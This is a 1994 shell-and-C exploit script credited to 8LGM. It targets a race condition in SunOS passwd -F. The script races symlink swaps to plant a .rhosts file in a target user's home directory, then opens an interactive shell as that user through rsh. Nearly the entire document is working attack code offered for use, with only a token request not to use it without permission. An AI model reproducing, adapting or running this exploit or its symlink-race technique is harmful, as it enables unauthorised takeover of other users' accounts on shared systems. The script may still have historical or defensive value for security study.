#!/bin/sh
#
# Syntax: passwdscript target-user
#
# This exploits a flaw in SunOS passwd(1), and attempts
# to become the specified 'user', by creating a .rhosts
# file and using rsh.
#
# Written 1994 by [8LGM]
# Please do not use this script without permission.
#
PATH=/usr/ucb:/usr/bin:/bin      export PATH
IFS=" "                          export IFS

PROG="`basename $0`"

# Check args
if [ $# -ne 1 ]; then
        echo "Syntax: $PROG user target-file rsh-user"
        exit 1
fi
TARGET_USER="$1"

# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
        echo "Sorry, this only works on SunOS"
        exit 1
fi

# Make the race program
cat >passwdrace.c << 'EOF'
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <signal.h>
#include <pwd.h>


main(argc, argv)
int argc;
char *argv[];
{
        FILE    *passwd_in, *passwd_out;
	int	race_child_pid = -1;
	struct	stat st;
	struct	passwd *pw;
	char	pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
		buf[1024], cmd[256], nowhere[256], nowhere2[256],
		dir[256];

	if (argc != 2) {
		fprintf(stderr, "Usage: %s target-user\n",
			argv[0]);
		exit(1);
	}

	/*
	 * Get Target User info
	 */
	if ((pw = getpwnam(argv[1])) == NULL) {
		fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
			argv[0], argv[1]);
		exit(1);
	}
	strcpy(dir, pw->pw_dir);

	/*
	 * Set up names for directories/links we will access
	 */
	sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
	sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
	sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
	sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
	sprintf(ptmp, "%s/ptmp", dir);
	symlink(pwd_dir, pwd_link);

	/*
	 * Build temp password file in /tmp/passwd-dir.$$/.rhosts.
	 * The bigger our 'passwd file', the longer passwd(1) takes
	 * to write it out, the greater chance we have of noticing
	 * it doing so and winning the race.
	 */
	mkdir(pwd_dir, 0700);
	sprintf(pwd_file, "%s/.rhosts", pwd_dir);
	if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
		fprintf(stderr, "Cant open %s!\n", pwd_file);
		exit(1);
	}
	if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
		fprintf(stderr, "Cant open /etc/passwd\n");
		exit(1);
	}
	if ((pw = getpwuid(getuid())) == NULL) {
		fprintf(stderr, "Who are you?\n");
		exit(1);
	}
	fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
	for (;;) {
		fseek(passwd_in, 0L, SEEK_SET);
		while(fgets(buf, sizeof(buf), passwd_in))
			fputs(buf, passwd_out);
		if (ftell(passwd_out) > 32768)
			break;
	}
	fclose(passwd_in);
	fflush(passwd_out);

	/*
	 * Fork a new process.  In the parent, run passwd -F.
	 * In the child, run the race process(es).
	 */
	if ((race_child_pid = fork()) < 0) {
		perror("fork");
		exit(1);
	}
	if (race_child_pid) {
		/*
		 * Parent - run passwd -F
		 */
		sprintf(pwd_file, "%s/.rhosts", pwd_link);
		puts("Wait until told you see \"Enter your password now!\"");
		sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
		system(cmd);
		kill(race_child_pid, 9);
		exit(0);
	} else {
		/*
		 * Child
		 */
		int fd = fileno(passwd_out);
		time_t last_access;

		/*
		 * Remember the current 'last accessed'
		 * time for our password file.  Once this
		 * changes it, we know passwd(1) is reading
		 * it, and we can switch the symlink.
		 */
		if (fstat(fd, &st)) {
			perror("fstat");
			exit(1);
		}
		last_access = st.st_atime;

		/*
		 * Give passwd(1) a chance to start up.
		 * and do its initialisations.  Hopefully
		 * by now, its asked the user for their
		 * password.
		 */
		sleep(5);
		write(0, "Enter your password now!\n",
		      sizeof("Enter your password now!\n"));

		/*
		 * Link our directory to our target directory
		 */
		unlink(pwd_link);
		symlink(dir, pwd_link);

		/*
		 * Create two links pointing to nowhere.
		 * We use rename(2) to switch these in later.
		 * (Using unlink(2)/symlink(2) is too slow).
		 */
		symlink(pwd_dir, nowhere);
		symlink(dir, nowhere2);

		/*
		 * Wait until ptmp exists in our target
		 * dir, then switch the link.
		 */
		while ((open(ptmp, O_RDONLY)==-1));
		rename(nowhere, pwd_link);
		
		/*
		 * Wait until passwd(1) has accessed our
		 * 'password file', then switch the link.
		 */
		while (last_access == st.st_atime)
			fstat(fd, &st);
		rename(nowhere2, pwd_link);
	}
}
EOF
cc -O -o passwdrace passwdrace.c

# Check we now have passwdrace
if [ ! -x "passwdrace" ]; then
        echo "$PROG: couldnt compile passwdrace.c - check it out"
        exit 1
fi

# Start passwdrace
./passwdrace $TARGET_USER

# Try to rsh
rsh localhost -l $TARGET_USER sh -i
exit 0

